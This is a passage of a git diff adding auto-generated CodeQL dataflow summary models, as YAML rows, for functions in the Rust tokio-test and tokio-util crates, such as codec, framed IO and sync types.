["repo:https://github.com/tokio-rs/tokio:tokio-test", "::write_error", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::build", "Argument[self].Field[crate::stream_mock::StreamMockBuilder::actions]", "ReturnValue.Field[crate::stream_mock::StreamMock::actions]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::next", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::wait", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::deref", "Argument[self].Field[crate::task::Spawn::future]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::deref_mut", "Argument[self].Field[crate::task::Spawn::future]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::enter", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml new file mode 100644 index 000000000000..db6e6afc9445 --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml @@ -0,0 +1,206 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0]", "ReturnValue.Field[crate::Op::Data(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_length", "Argument[self].Field[crate::codec::any_delimiter_codec::AnyDelimiterCodec::max_length]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::codec::any_delimiter_codec::AnyDelimiterCodec::seek_delimiters]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::codec::any_delimiter_codec::AnyDelimiterCodec::sequence_writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_with_max_length", "Argument[2]", "ReturnValue.Field[crate::codec::any_delimiter_codec::AnyDelimiterCodec::max_length]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0]", "ReturnValue.Field[crate::codec::any_delimiter_codec::AnyDelimiterCodecError::Io(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::codec", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::codec_mut", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from_parts", "Argument[0].Field[crate::codec::framed::FramedParts::codec]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from_parts", "Argument[0].Field[crate::codec::framed::FramedParts::io]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_parts", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Field[crate::codec::framed::FramedParts::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_parts", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Field[crate::codec::framed::FramedParts::io]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_codec", "Argument[0].ReturnValue", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_codec", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_codec", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[0]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::codec::framed::FramedParts::io]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::codec::framed::FramedParts::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::borrow", "Argument[self].Field[crate::codec::framed_impl::RWFrames::read]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::borrow", "Argument[self].Field[crate::codec::framed_impl::RWFrames::write]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::borrow_mut", "Argument[self].Field[crate::codec::framed_impl::RWFrames::read]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::borrow_mut", "Argument[self].Field[crate::codec::framed_impl::RWFrames::write]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0]", "ReturnValue.Field[crate::codec::framed_impl::ReadFrame::buffer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0]", "ReturnValue.Field[crate::codec::framed_impl::WriteFrame::buffer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::decoder", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::decoder_mut", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_decoder", "Argument[0].ReturnValue", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_decoder", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_decoder", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_decoder", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::state]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::state]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[0]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::encoder", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::encoder_mut", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_encoder", "Argument[0].ReturnValue", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_encoder", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_encoder", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_encoder", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::state]", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::state]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::big_endian", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_adjustment", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::Builder::length_adjustment]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_adjustment", "Argument[0]", "ReturnValue.Field[crate::codec::length_delimited::Builder::length_adjustment]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_adjustment", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_length", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::Builder::length_field_len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_length", "Argument[0]", "ReturnValue.Field[crate::codec::length_delimited::Builder::length_field_len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_length", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_offset", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::Builder::length_field_offset]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_offset", "Argument[0]", "ReturnValue.Field[crate::codec::length_delimited::Builder::length_field_offset]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_offset", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::little_endian", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_frame_length", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::Builder::max_frame_len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_frame_length", "Argument[0]", "ReturnValue.Field[crate::codec::length_delimited::Builder::max_frame_len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_frame_length", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::native_endian", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_codec", "Argument[self].Reference", "ReturnValue.Field[crate::codec::length_delimited::LengthDelimitedCodec::builder]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_framed", "Argument[0]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_read", "Argument[0]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_write", "Argument[0]", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::num_skip", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::Builder::num_skip].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::num_skip", "Argument[0]", "ReturnValue.Field[crate::codec::length_delimited::Builder::num_skip].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::num_skip", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_frame_length", "Argument[self].Field[crate::codec::length_delimited::LengthDelimitedCodec::builder].Field[crate::codec::length_delimited::Builder::max_frame_len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::set_max_frame_length", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::LengthDelimitedCodec::builder].Field[crate::codec::length_delimited::Builder::max_frame_len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_length", "Argument[self].Field[crate::codec::lines_codec::LinesCodec::max_length]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_with_max_length", "Argument[0]", "ReturnValue.Field[crate::codec::lines_codec::LinesCodec::max_length]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0]", "ReturnValue.Field[crate::codec::lines_codec::LinesCodecError::Io(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::compat::Compat::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::compat::Compat::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::compat::Compat::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::handle", "Argument[self].Field[crate::context::TokioContext::handle]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::context::TokioContext::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::context::TokioContext::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::context::TokioContext::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::io::copy_to_bytes::CopyToBytes::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::io::copy_to_bytes::CopyToBytes::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::copy_to_bytes::CopyToBytes::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::copy_to_bytes::CopyToBytes::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::inspect::InspectReader::reader]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::inspect::InspectReader::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::io::inspect::InspectReader::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::inspect::InspectWriter::writer]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::inspect::InspectWriter::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::io::inspect::InspectWriter::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::reader_stream::ReaderStream::reader].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[0]", "ReturnValue.Field[crate::io::reader_stream::ReaderStream::reader].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::reader_stream::ReaderStream::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::io::sink_writer::SinkWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::io::sink_writer::SinkWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::sink_writer::SinkWriter::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::sink_writer::SinkWriter::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::io::stream_reader::StreamReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::io::stream_reader::StreamReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::stream_reader::StreamReader::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner_with_chunk", "Argument[self].Field[crate::io::stream_reader::StreamReader::chunk]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner_with_chunk", "Argument[self].Field[crate::io::stream_reader::StreamReader::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::stream_reader::StreamReader::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_mut", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::sync_bridge::SyncIoBridge::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_with_handle", "Argument[0]", "ReturnValue.Field[crate::io::sync_bridge::SyncIoBridge::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_with_handle", "Argument[1]", "ReturnValue.Field[crate::io::sync_bridge::SyncIoBridge::rt]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::wrap", "Argument[0]", "ReturnValue.Field[crate::context::TokioContext::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::wrap", "Argument[self].Field[crate::runtime::runtime::Runtime::handle]", "ReturnValue.Field[crate::context::TokioContext::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::cancellation_token::CancellationToken::inner].Reference", "ReturnValue.Field[crate::sync::cancellation_token::CancellationToken::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::cancelled", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::WaitForCancellationFuture::cancellation_token]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::cancelled_owned", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::WaitForCancellationFutureOwned::cancellation_token]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::drop_guard", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::guard::DropGuard::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::disarm", "Argument[self].Field[crate::sync::cancellation_token::guard::DropGuard::inner].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::notified", "Argument[self].Field[crate::sync::cancellation_token::tree_node::TreeNode::waker]", "ReturnValue.Field[crate::sync::notify::Notified::notify].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::notified", "Argument[self].Field[crate::sync::cancellation_token::tree_node::TreeNode::waker]", "ReturnValue.Field[crate::sync::notify::Notified::notify]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::sync::mpsc::PollSendError(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::abort_send", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "Argument[self].Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0].Reference", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore].Reference", "ReturnValue.Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "ReturnValue.Reference", "value", "dfc-generated"] + - 